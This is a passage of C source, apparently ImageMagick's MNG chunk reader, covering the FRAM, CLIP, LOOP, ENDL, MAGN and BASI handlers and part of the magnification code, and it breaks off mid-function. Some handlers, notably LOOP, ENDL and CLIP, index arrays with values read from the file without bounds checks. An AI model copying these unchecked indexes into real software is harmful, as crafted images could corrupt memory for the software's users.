RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_sRGB,4) == 0)\n          {\n            /*\n              Read global sRGB.\n            */\n            if (length != 0)\n              {\n                mng_info->global_srgb_intent=\n                  Magick_RenderingIntent_from_PNG_RenderingIntent(p[0]);\n                mng_info->have_global_srgb=MagickTrue;\n              }\n            else\n              mng_info->have_global_srgb=MagickFalse;\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_iCCP,4) == 0)\n          {\n            /* To do: */\n\n            /*\n              Read global iCCP.\n            */\n            if (length != 0)\n              chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n            continue;\n          }\n\n        if (memcmp(type,mng_FRAM,4) == 0)\n          {\n            if (mng_type == 3)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"FRAM chunk found in MNG-VLC datastream\",\"`%s'\",\n                image->filename);\n\n            if ((mng_info->framing_mode == 2) || (mng_info->framing_mode == 4))\n              image->delay=frame_delay;\n\n            frame_delay=default_frame_delay;\n            frame_timeout=default_frame_timeout;\n            fb=default_fb;\n\n            if (length != 0)\n              if (p[0])\n                mng_info->framing_mode=p[0];\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"    Framing_mode=%d\",mng_info->framing_mode);\n\n            if (length > 6)\n              {\n                /* Note the delay and frame clipping boundaries.  */\n\n                p++; /* framing mode */\n\n                while (*p && ((p-chunk) < (ssize_t) length))\n                  p++;  /* frame name */\n\n                p++;  /* frame name terminator */\n\n                if ((p-chunk) < (ssize_t) (length-4))\n                  {\n                    int\n                      change_delay,\n                      change_timeout,\n                      change_clipping;\n\n                    change_delay=(*p++);\n                    change_timeout=(*p++);\n                    change_clipping=(*p++);\n                    p++; /* change_sync */\n\n                    if (change_delay)\n                      {\n                        frame_delay=1UL*image->ticks_per_second*\n                          mng_get_long(p);\n\n                        if (mng_info->ticks_per_second != 0)\n                          frame_delay/=mng_info->ticks_per_second;\n\n                        else\n                          frame_delay=PNG_UINT_31_MAX;\n\n                        if (change_delay == 2)\n                          default_frame_delay=frame_delay;\n\n                        p+=4;\n\n                        if (logging != MagickFalse)\n                          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                            \"    Framing_delay=%.20g\",(double) frame_delay);\n                      }\n\n                    if (change_timeout)\n                      {\n                        frame_timeout=1UL*image->ticks_per_second*\n                          mng_get_long(p);\n\n                        if (mng_info->ticks_per_second != 0)\n                          frame_timeout/=mng_info->ticks_per_second;\n\n                        else\n                          frame_timeout=PNG_UINT_31_MAX;\n\n                        if (change_timeout == 2)\n                          default_frame_timeout=frame_timeout;\n\n                        p+=4;\n\n                        if (logging != MagickFalse)\n                          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                            \"    Framing_timeout=%.20g\",(double) frame_timeout);\n                      }\n\n                    if (change_clipping)\n                      {\n                        fb=mng_read_box(previous_fb,(char) p[0],&p[1]);\n                        p+=17;\n                        previous_fb=fb;\n\n                        if (logging != MagickFalse)\n                          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                            \"    Frame_clip: L=%.20g R=%.20g T=%.20g B=%.20g\",\n                            (double) fb.left,(double) fb.right,(double) fb.top,\n                            (double) fb.bottom);\n\n                        if (change_clipping == 2)\n                          default_fb=fb;\n                      }\n                  }\n              }\n            mng_info->clip=fb;\n            mng_info->clip=mng_minimum_box(fb,mng_info->frame);\n\n            subframe_width=(size_t) (mng_info->clip.right\n               -mng_info->clip.left);\n\n            subframe_height=(size_t) (mng_info->clip.bottom\n               -mng_info->clip.top);\n            /*\n              Insert a background layer behind the frame if framing_mode is 4.\n            */\n#if defined(MNG_INSERT_LAYERS)\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"   subframe_width=%.20g, subframe_height=%.20g\",(double)\n                subframe_width,(double) subframe_height);\n\n            if (insert_layers && (mng_info->framing_mode == 4) &&\n                (subframe_width) && (subframe_height))\n              {\n                /* Allocate next image structure.  */\n                if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n                  {\n                    AcquireNextImage(image_info,image,exception);\n\n                    if (GetNextImageInList(image) == (Image *) NULL)\n                      return(DestroyImageList(image));\n\n                    image=SyncNextImageInList(image);\n                  }\n\n                mng_info->image=image;\n\n                if (term_chunk_found)\n                  {\n                    image->start_loop=MagickTrue;\n                    image->iterations=mng_iterations;\n                    term_chunk_found=MagickFalse;\n                  }\n\n                else\n                    image->start_loop=MagickFalse;\n\n                image->columns=subframe_width;\n                image->rows=subframe_height;\n                image->page.width=subframe_width;\n                image->page.height=subframe_height;\n                image->page.x=mng_info->clip.left;\n                image->page.y=mng_info->clip.top;\n                image->background_color=mng_background_color;\n                image->alpha_trait=UndefinedPixelTrait;\n                image->delay=0;\n                (void) SetImageBackgroundColor(image,exception);\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"  Insert backgd layer, L=%.20g, R=%.20g T=%.20g, B=%.20g\",\n                    (double) mng_info->clip.left,\n                    (double) mng_info->clip.right,\n                    (double) mng_info->clip.top,\n                    (double) mng_info->clip.bottom);\n              }\n#endif\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_CLIP,4) == 0)\n          {\n            unsigned int\n              first_object,\n              last_object;\n\n            /*\n              Read CLIP.\n            */\n            if (length > 3)\n              {\n                first_object=(p[0] << 8) | p[1];\n                last_object=(p[2] << 8) | p[3];\n                p+=4;\n\n                for (i=(int) first_object; i <= (int) last_object; i++)\n                {\n                  if (mng_info->exists[i] && !mng_info->frozen[i])\n                    {\n                      MngBox\n                        box;\n\n                      box=mng_info->object_clip[i];\n                      if ((p-chunk) < (ssize_t) (length-17))\n                        mng_info->object_clip[i]=\n                           mng_read_box(box,(char) p[0],&p[1]);\n                    }\n                }\n\n              }\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_SAVE,4) == 0)\n          {\n            for (i=1; i < MNG_MAX_OBJECTS; i++)\n              if (mng_info->exists[i])\n                {\n                 mng_info->frozen[i]=MagickTrue;\n#ifdef MNG_OBJECT_BUFFERS\n                 if (mng_info->ob[i] != (MngBuffer *) NULL)\n                    mng_info->ob[i]->frozen=MagickTrue;\n#endif\n                }\n\n            if (length != 0)\n              chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n            continue;\n          }\n\n        if ((memcmp(type,mng_DISC,4) == 0) || (memcmp(type,mng_SEEK,4) == 0))\n          {\n            /* Read DISC or SEEK.  */\n\n            if ((length == 0) || !memcmp(type,mng_SEEK,4))\n              {\n                for (i=1; i < MNG_MAX_OBJECTS; i++)\n                  MngInfoDiscardObject(mng_info,i);\n              }\n\n            else\n              {\n                register ssize_t\n                  j;\n\n                for (j=1; j < (ssize_t) length; j+=2)\n                {\n                  i=p[j-1] << 8 | p[j];\n                  MngInfoDiscardObject(mng_info,i);\n                }\n              }\n\n            if (length != 0)\n              chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n            continue;\n          }\n\n        if (memcmp(type,mng_MOVE,4) == 0)\n          {\n            size_t\n              first_object,\n              last_object;\n\n            /* read MOVE */\n\n            if (length > 3)\n            {\n              first_object=(p[0] << 8) | p[1];\n              last_object=(p[2] << 8) | p[3];\n              p+=4;\n\n              for (i=(ssize_t) first_object; i <= (ssize_t) last_object; i++)\n              {\n                if ((i < 0) || (i >= MNG_MAX_OBJECTS))\n                  continue;\n\n                if (mng_info->exists[i] && !mng_info->frozen[i] &&\n                    (p-chunk) < (ssize_t) (length-8))\n                  {\n                    MngPair\n                      new_pair;\n\n                    MngPair\n                      old_pair;\n\n                    old_pair.a=mng_info->x_off[i];\n                    old_pair.b=mng_info->y_off[i];\n                    new_pair=mng_read_pair(old_pair,(int) p[0],&p[1]);\n                    mng_info->x_off[i]=new_pair.a;\n                    mng_info->y_off[i]=new_pair.b;\n                  }\n              }\n            }\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_LOOP,4) == 0)\n          {\n            ssize_t loop_iters=1;\n            if (length > 4)\n              {\n                loop_level=chunk[0];\n                mng_info->loop_active[loop_level]=1;  /* mark loop active */\n\n                /* Record starting point.  */\n                loop_iters=mng_get_long(&chunk[1]);\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"  LOOP level %.20g has %.20g iterations \",\n                    (double) loop_level, (double) loop_iters);\n\n                if (loop_iters == 0)\n                  skipping_loop=loop_level;\n\n                else\n                  {\n                    mng_info->loop_jump[loop_level]=TellBlob(image);\n                    mng_info->loop_count[loop_level]=loop_iters;\n                  }\n\n                mng_info->loop_iteration[loop_level]=0;\n              }\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_ENDL,4) == 0)\n          {\n            if (length > 0)\n              {\n                loop_level=chunk[0];\n\n                if (skipping_loop > 0)\n                  {\n                    if (skipping_loop == loop_level)\n                      {\n                        /*\n                          Found end of zero-iteration loop.\n                        */\n                        skipping_loop=(-1);\n                        mng_info->loop_active[loop_level]=0;\n                      }\n                  }\n\n                else\n                  {\n                    if (mng_info->loop_active[loop_level] == 1)\n                      {\n                        mng_info->loop_count[loop_level]--;\n                        mng_info->loop_iteration[loop_level]++;\n\n                        if (logging != MagickFalse)\n                          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                          \"  ENDL: LOOP level %.20g has %.20g remaining iters\",\n                            (double) loop_level,(double)\n                            mng_info->loop_count[loop_level]);\n\n                        if (mng_info->loop_count[loop_level] != 0)\n                          {\n                            offset=\n                              SeekBlob(image,mng_info->loop_jump[loop_level],\n                              SEEK_SET);\n\n                            if (offset < 0)\n                              {\n                                chunk=(unsigned char *) RelinquishMagickMemory(\n                                  chunk);\n                                ThrowReaderException(CorruptImageError,\n                                  \"ImproperImageHeader\");\n                              }\n                          }\n\n                        else\n                          {\n                            short\n                              last_level;\n\n                            /*\n                              Finished loop.\n                            */\n                            mng_info->loop_active[loop_level]=0;\n                            last_level=(-1);\n                            for (i=0; i < loop_level; i++)\n                              if (mng_info->loop_active[i] == 1)\n                                last_level=(short) i;\n                            loop_level=last_level;\n                          }\n                      }\n                  }\n              }\n\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_CLON,4) == 0)\n          {\n            if (mng_info->clon_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"CLON is not implemented yet\",\"`%s'\",\n                image->filename);\n\n            mng_info->clon_warning++;\n          }\n\n        if (memcmp(type,mng_MAGN,4) == 0)\n          {\n            png_uint_16\n              magn_first,\n              magn_last,\n              magn_mb,\n              magn_ml,\n              magn_mr,\n              magn_mt,\n              magn_mx,\n              magn_my,\n              magn_methx,\n              magn_methy;\n\n            if (length > 1)\n              magn_first=(p[0] << 8) | p[1];\n\n            else\n              magn_first=0;\n\n            if (length > 3)\n              magn_last=(p[2] << 8) | p[3];\n\n            else\n              magn_last=magn_first;\n#ifndef MNG_OBJECT_BUFFERS\n            if (magn_first || magn_last)\n              if (mng_info->magn_warning == 0)\n                {\n                  (void) ThrowMagickException(exception,\n                     GetMagickModule(),CoderError,\n                     \"MAGN is not implemented yet for nonzero objects\",\n                     \"`%s'\",image->filename);\n\n                   mng_info->magn_warning++;\n                }\n#endif\n            if (length > 4)\n              magn_methx=p[4];\n\n            else\n              magn_methx=0;\n\n            if (length > 6)\n              magn_mx=(p[5] << 8) | p[6];\n\n            else\n              magn_mx=1;\n\n            if (magn_mx == 0)\n              magn_mx=1;\n\n            if (length > 8)\n              magn_my=(p[7] << 8) | p[8];\n\n            else\n              magn_my=magn_mx;\n\n            if (magn_my == 0)\n              magn_my=1;\n\n            if (length > 10)\n              magn_ml=(p[9] << 8) | p[10];\n\n            else\n              magn_ml=magn_mx;\n\n            if (magn_ml == 0)\n              magn_ml=1;\n\n            if (length > 12)\n              magn_mr=(p[11] << 8) | p[12];\n\n            else\n              magn_mr=magn_mx;\n\n            if (magn_mr == 0)\n              magn_mr=1;\n\n            if (length > 14)\n              magn_mt=(p[13] << 8) | p[14];\n\n            else\n              magn_mt=magn_my;\n\n            if (magn_mt == 0)\n              magn_mt=1;\n\n            if (length > 16)\n              magn_mb=(p[15] << 8) | p[16];\n\n            else\n              magn_mb=magn_my;\n\n            if (magn_mb == 0)\n              magn_mb=1;\n\n            if (length > 17)\n              magn_methy=p[17];\n\n            else\n              magn_methy=magn_methx;\n\n\n            if (magn_methx > 5 || magn_methy > 5)\n              if (mng_info->magn_warning == 0)\n                {\n                  (void) ThrowMagickException(exception,\n                     GetMagickModule(),CoderError,\n                     \"Unknown MAGN method in MNG datastream\",\"`%s'\",\n                     image->filename);\n\n                   mng_info->magn_warning++;\n                }\n#ifdef MNG_OBJECT_BUFFERS\n          /* Magnify existing objects in the range magn_first to magn_last */\n#endif\n            if (magn_first == 0 || magn_last == 0)\n              {\n                /* Save the magnification factors for object 0 */\n                mng_info->magn_mb=magn_mb;\n                mng_info->magn_ml=magn_ml;\n                mng_info->magn_mr=magn_mr;\n                mng_info->magn_mt=magn_mt;\n                mng_info->magn_mx=magn_mx;\n                mng_info->magn_my=magn_my;\n                mng_info->magn_methx=magn_methx;\n                mng_info->magn_methy=magn_methy;\n              }\n          }\n\n        if (memcmp(type,mng_PAST,4) == 0)\n          {\n            if (mng_info->past_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"PAST is not implemented yet\",\"`%s'\",\n                image->filename);\n\n            mng_info->past_warning++;\n          }\n\n        if (memcmp(type,mng_SHOW,4) == 0)\n          {\n            if (mng_info->show_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"SHOW is not implemented yet\",\"`%s'\",\n                image->filename);\n\n            mng_info->show_warning++;\n          }\n\n        if (memcmp(type,mng_sBIT,4) == 0)\n          {\n            if (length < 4)\n              mng_info->have_global_sbit=MagickFalse;\n\n            else\n              {\n                mng_info->global_sbit.gray=p[0];\n                mng_info->global_sbit.red=p[0];\n                mng_info->global_sbit.green=p[1];\n                mng_info->global_sbit.blue=p[2];\n                mng_info->global_sbit.alpha=p[3];\n                mng_info->have_global_sbit=MagickTrue;\n             }\n          }\n        if (memcmp(type,mng_pHYs,4) == 0)\n          {\n            if (length > 8)\n              {\n                mng_info->global_x_pixels_per_unit=\n                    (size_t) mng_get_long(p);\n                mng_info->global_y_pixels_per_unit=\n                    (size_t) mng_get_long(&p[4]);\n                mng_info->global_phys_unit_type=p[8];\n                mng_info->have_global_phys=MagickTrue;\n              }\n\n            else\n              mng_info->have_global_phys=MagickFalse;\n          }\n        if (memcmp(type,mng_pHYg,4) == 0)\n          {\n            if (mng_info->phyg_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"pHYg is not implemented.\",\"`%s'\",image->filename);\n\n            mng_info->phyg_warning++;\n          }\n        if (memcmp(type,mng_BASI,4) == 0)\n          {\n            skip_to_iend=MagickTrue;\n\n            if (mng_info->basi_warning == 0)\n              (void) ThrowMagickException(exception,GetMagickModule(),\n                CoderError,\"BASI is not implemented yet\",\"`%s'\",\n                image->filename);\n\n            mng_info->basi_warning++;\n#ifdef MNG_BASI_SUPPORTED\n            basi_width=(size_t) ((p[0] << 24) | (p[1] << 16) |\n               (p[2] << 8) | p[3]);\n            basi_height=(size_t) ((p[4] << 24) | (p[5] << 16) |\n               (p[6] << 8) | p[7]);\n            basi_color_type=p[8];\n            basi_compression_method=p[9];\n            basi_filter_type=p[10];\n            basi_interlace_method=p[11];\n            if (length > 11)\n              basi_red=(p[12] << 8) & p[13];\n\n            else\n              basi_red=0;\n\n            if (length > 13)\n              basi_green=(p[14] << 8) & p[15];\n\n            else\n              basi_green=0;\n\n            if (length > 15)\n              basi_blue=(p[16] << 8) & p[17];\n\n            else\n              basi_blue=0;\n\n            if (length > 17)\n              basi_alpha=(p[18] << 8) & p[19];\n\n            else\n              {\n                if (basi_sample_depth == 16)\n                  basi_alpha=65535L;\n                else\n                  basi_alpha=255;\n              }\n\n            if (length > 19)\n              basi_viewable=p[20];\n\n            else\n              basi_viewable=0;\n\n#endif\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n\n        if (memcmp(type,mng_IHDR,4)\n#if defined(JNG_SUPPORTED)\n            && memcmp(type,mng_JHDR,4)\n#endif\n            )\n          {\n            /* Not an IHDR or JHDR chunk */\n            if (length != 0)\n              chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n            continue;\n          }\n/* Process IHDR */\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n            \"  Processing %c%c%c%c chunk\",type[0],type[1],type[2],type[3]);\n\n        mng_info->exists[object_id]=MagickTrue;\n        mng_info->viewable[object_id]=MagickTrue;\n\n        if (mng_info->invisible[object_id])\n          {\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Skipping invisible object\");\n\n            skip_to_iend=MagickTrue;\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            continue;\n          }\n#if defined(MNG_INSERT_LAYERS)\n        if (length < 8)\n          {\n            chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n            ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n          }\n\n        image_width=(size_t) mng_get_long(p);\n        image_height=(size_t) mng_get_long(&p[4]);\n#endif\n        chunk=(unsigned char *) RelinquishMagickMemory(chunk);\n\n        /*\n          Insert a transparent background layer behind the entire animation\n          if it is not full screen.\n        */\n#if defined(MNG_INSERT_LAYERS)\n        if (insert_layers && mng_type && first_mng_object)\n          {\n            if ((mng_info->clip.left > 0) || (mng_info->clip.top > 0) ||\n                (image_width < mng_info->mng_width) ||\n                (mng_info->clip.right < (ssize_t) mng_info->mng_width) ||\n                (image_height < mng_info->mng_height) ||\n                (mng_info->clip.bottom < (ssize_t) mng_info->mng_height))\n              {\n                if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n                  {\n                    /*\n                      Allocate next image structure.\n                    */\n                    AcquireNextImage(image_info,image,exception);\n\n                    if (GetNextImageInList(image) == (Image *) NULL)\n                      return(DestroyImageList(image));\n\n                    image=SyncNextImageInList(image);\n                  }\n                mng_info->image=image;\n\n                if (term_chunk_found)\n                  {\n                    image->start_loop=MagickTrue;\n                    image->iterations=mng_iterations;\n                    term_chunk_found=MagickFalse;\n                  }\n\n                else\n                    image->start_loop=MagickFalse;\n\n                /* Make a background rectangle.  */\n\n                image->delay=0;\n                image->columns=mng_info->mng_width;\n                image->rows=mng_info->mng_height;\n                image->page.width=mng_info->mng_width;\n                image->page.height=mng_info->mng_height;\n                image->page.x=0;\n                image->page.y=0;\n                image->background_color=mng_background_color;\n                (void) SetImageBackgroundColor(image,exception);\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"  Inserted transparent background layer, W=%.20g, H=%.20g\",\n                    (double) mng_info->mng_width,(double) mng_info->mng_height);\n              }\n          }\n        /*\n          Insert a background layer behind the upcoming image if\n          framing_mode is 3, and we haven't already inserted one.\n        */\n        if (insert_layers && (mng_info->framing_mode == 3) &&\n                (subframe_width) && (subframe_height) && (simplicity == 0 ||\n                (simplicity & 0x08)))\n          {\n            if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n            {\n              /*\n                Allocate next image structure.\n              */\n              AcquireNextImage(image_info,image,exception);\n\n              if (GetNextImageInList(image) == (Image *) NULL)\n                return(DestroyImageList(image));\n\n              image=SyncNextImageInList(image);\n            }\n\n            mng_info->image=image;\n\n            if (term_chunk_found)\n              {\n                image->start_loop=MagickTrue;\n                image->iterations=mng_iterations;\n                term_chunk_found=MagickFalse;\n              }\n\n            else\n                image->start_loop=MagickFalse;\n\n            image->delay=0;\n            image->columns=subframe_width;\n            image->rows=subframe_height;\n            image->page.width=subframe_width;\n            image->page.height=subframe_height;\n            image->page.x=mng_info->clip.left;\n            image->page.y=mng_info->clip.top;\n            image->background_color=mng_background_color;\n            image->alpha_trait=UndefinedPixelTrait;\n            (void) SetImageBackgroundColor(image,exception);\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Insert background layer, L=%.20g, R=%.20g T=%.20g, B=%.20g\",\n                (double) mng_info->clip.left,(double) mng_info->clip.right,\n                (double) mng_info->clip.top,(double) mng_info->clip.bottom);\n          }\n#endif /* MNG_INSERT_LAYERS */\n        first_mng_object=MagickFalse;\n\n        if (GetAuthenticPixelQueue(image) != (Quantum *) NULL)\n          {\n            /*\n              Allocate next image structure.\n            */\n            AcquireNextImage(image_info,image,exception);\n\n            if (GetNextImageInList(image) == (Image *) NULL)\n              return(DestroyImageList(image));\n\n            image=SyncNextImageInList(image);\n          }\n        mng_info->image=image;\n        status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n          GetBlobSize(image));\n\n        if (status == MagickFalse)\n          break;\n\n        if (term_chunk_found)\n          {\n            image->start_loop=MagickTrue;\n            term_chunk_found=MagickFalse;\n          }\n\n        else\n            image->start_loop=MagickFalse;\n\n        if (mng_info->framing_mode == 1 || mng_info->framing_mode == 3)\n          {\n            image->delay=frame_delay;\n            frame_delay=default_frame_delay;\n          }\n\n        else\n          image->delay=0;\n\n        image->page.width=mng_info->mng_width;\n        image->page.height=mng_info->mng_height;\n        image->page.x=mng_info->x_off[object_id];\n        image->page.y=mng_info->y_off[object_id];\n        image->iterations=mng_iterations;\n\n        /*\n          Seek back to the beginning of the IHDR or JHDR chunk's length field.\n        */\n\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n            \"  Seeking back to beginning of %c%c%c%c chunk\",type[0],type[1],\n            type[2],type[3]);\n\n        offset=SeekBlob(image,-((ssize_t) length+12),SEEK_CUR);\n\n        if (offset < 0)\n          ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n      }\n\n    mng_info->image=image;\n    mng_info->mng_type=mng_type;\n    mng_info->object_id=object_id;\n\n    if (memcmp(type,mng_IHDR,4) == 0)\n      image=ReadOnePNGImage(mng_info,image_info,exception);\n\n#if defined(JNG_SUPPORTED)\n    else\n      image=ReadOneJNGImage(mng_info,image_info,exception);\n#endif\n\n    if (image == (Image *) NULL)\n      {\n        if (logging != MagickFalse)\n          (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n            \"exit ReadJNGImage() with error\");\n\n        return((Image *) NULL);\n      }\n\n    if (image->columns == 0 || image->rows == 0)\n      {\n        (void) CloseBlob(image);\n        return(DestroyImageList(image));\n      }\n\n    mng_info->image=image;\n\n    if (mng_type)\n      {\n        MngBox\n          crop_box;\n\n        if (mng_info->magn_methx || mng_info->magn_methy)\n          {\n            png_uint_32\n               magnified_height,\n               magnified_width;\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Processing MNG MAGN chunk\");\n\n            if (mng_info->magn_methx == 1)\n              {\n                magnified_width=mng_info->magn_ml;\n\n                if (image->columns > 1)\n                   magnified_width += mng_info->magn_mr;\n\n                if (image->columns > 2)\n                   magnified_width += (png_uint_32)\n                      ((image->columns-2)*(mng_info->magn_mx));\n              }\n\n            else\n              {\n                magnified_width=(png_uint_32) image->columns;\n\n                if (image->columns > 1)\n                   magnified_width += mng_info->magn_ml-1;\n\n                if (image->columns > 2)\n                   magnified_width += mng_info->magn_mr-1;\n\n                if (image->columns > 3)\n                   magnified_width += (png_uint_32)\n                      ((image->columns-3)*(mng_info->magn_mx-1));\n              }\n\n            if (mng_info->magn_methy == 1)\n              {\n                magnified_height=mng_info->magn_mt;\n\n                if (image->rows > 1)\n                   magnified_height += mng_info->magn_mb;\n\n                if (image->rows > 2)\n                   magnified_height += (png_uint_32)\n                      ((image->rows-2)*(mng_info->magn_my));\n              }\n\n            else\n              {\n                magnified_height=(png_uint_32) image->rows;\n\n                if (image->rows > 1)\n                   magnified_height += mng_info->magn_mt-1;\n\n                if (image->rows > 2)\n                   magnified_height += mng_info->magn_mb-1;\n\n                if (image->rows > 3)\n                   magnified_height += (png_uint_32)\n                      ((image->rows-3)*(mng_info->magn_my-1));\n              }\n\n            if (magnified_height > image->rows ||\n                magnified_width > image->columns)\n              {\n                Image\n                  *large_image;\n\n                int\n                  yy;\n\n                Quantum\n                  *next,\n                  *prev;\n\n                png_uint_16\n                  magn_methx,\n                  magn_methy;\n\n                ssize_t\n                  m,\n                  y;\n\n                register Quantum\n                  *n,\n                  *q;\n\n                register ssize_t\n                  x;\n\n                /* Allocate next image structure.  */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Allocate magnified image\");\n\n                AcquireNextImage(image_info,image,exception);\n\n                if (GetNextImageInList(image) == (Image *) NULL)\n                  return(DestroyImageList(image));\n\n                large_image=SyncNextImageInList(image);\n\n                large_image->columns=magnified_width;\n                large_image->rows=magnified_height;\n\n                magn_methx=mng_info->magn_methx;\n                magn_methy=mng_info->magn_methy;\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 16)\n#define QM unsigned short\n                if (magn_methx != 1 || magn_methy != 1)\n                  {\n                  /*\n                     Scale pixels to unsigned shorts to prevent\n                     overflow of intermediate values of interpolations\n                  */\n                     for (y=0; y < (ssize_t) image->rows; y++)\n                     {\n                       q=GetAuthenticPixels(image,0,y,image->columns,1,\n                          exception);\n\n                       for (x=(ssize_t) image->columns-1; x >= 0; x--)\n                       {\n                          SetPixelRed(image,ScaleQuantumToShort(\n                            GetPixelRed(image,q)),q);\n                          SetPixelGreen(image,ScaleQuantumToShort(\n                            GetPixelGreen(image,q)),q);\n                          SetPixelBlue(image,ScaleQuantumToShort(\n                            GetPixelBlue(image,q)),q);\n                          SetPixelAlpha(image,ScaleQuantumToShort(\n                            GetPixelAlpha(image,q)),q);\n                          q+=GetPixelChannels(image);\n                       }\n\n                       if (SyncAuthenticPixels(image,exception) == MagickFalse)\n                         break;\n                     }\n                  }\n#else\n#define QM Quantum\n#endif\n\n                if (image->alpha_trait != UndefinedPixelTrait)\n                   (void) SetImageBackgroundColor(large_image,exception);\n\n                else\n                  {\n                    large_image->background_color.alpha=OpaqueAlpha;\n                    (void) SetImageBackgroundColor(large_image,exception);\n\n                    if (magn_methx == 4)\n                      magn_methx=2;\n\n                    if (magn_methx == 5)\n                      magn_methx=3;\n\n                    if (magn_methy == 4)\n                      magn_methy=2;\n\n                    if (magn_methy == 5)\n                      magn_methy=3;\n                  }\n\n                /* magnify the rows into the right side of the large image */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image->rows);\n                m=(ssize_t) mng_info->magn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image->columns;\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                     image=DestroyImageList(image);\n                     ThrowReaderException(ResourceLimitError,\n                       \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image->columns,1,exception);\n                (void) CopyMagickMemory(next,n,length);\n\n                for (y=0; y < (ssize_t) image->rows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info->magn_mt;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info->magn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y < (ssize_t) image->rows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n                          exception);\n                      (void) CopyMagickMemory(next,n,length);\n                    }\n\n                  for (i=0; i < m; i++, yy++)\n                  {\n                    register Quantum\n                      *pixels;\n\n                    assert(yy < (ssize_t) large_image->rows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n                      1,exception);\n                    q+=(large_image->columns-image->columns)*\n                      GetPixelChannels(large_image);\n\n                    for (x=(ssize_t) image->columns-1; x >= 0; x--)\n                    {\n                      /* To do: get color as function of indexes[x] */\n                      /*\n                      if (image->storage_class == PseudoClass)\n                        {\n                        }\n                      */\n\n                      if (magn_methy <= 1)\n                        {\n                          /* replicate previous */\n                          SetPixelRed(large_image,GetPixelRed(image,pixels),q);\n                          SetPixelGreen(large_image,GetPixelGreen(image,\n                             pixels),q);\n                          SetPixelBlue(large_image,GetPixelBlue(image,\n                             pixels),q);\n                          SetPixelAlpha(large_image,GetPixelAlpha(image,\n                             pixels),q);\n                        }\n\n                      else if (magn_methy == 2 || magn_methy == 4)\n                        {\n                          if (i == 0)\n                            {\n                              SetPixelRed(large_image,GetPixelRed(image,\n                                 pixels),q);\n                              SetPixelGreen(large_image,GetPixelGreen(image,\n                                 pixels),q);\n                              SetPixelBlue(large_image,GetPixelBlue(image,\n                                 pixels),q);\n                              SetPixelAlpha(large_image,GetPixelAlpha(image,\n                                 pixels),q);\n                            }\n\n                          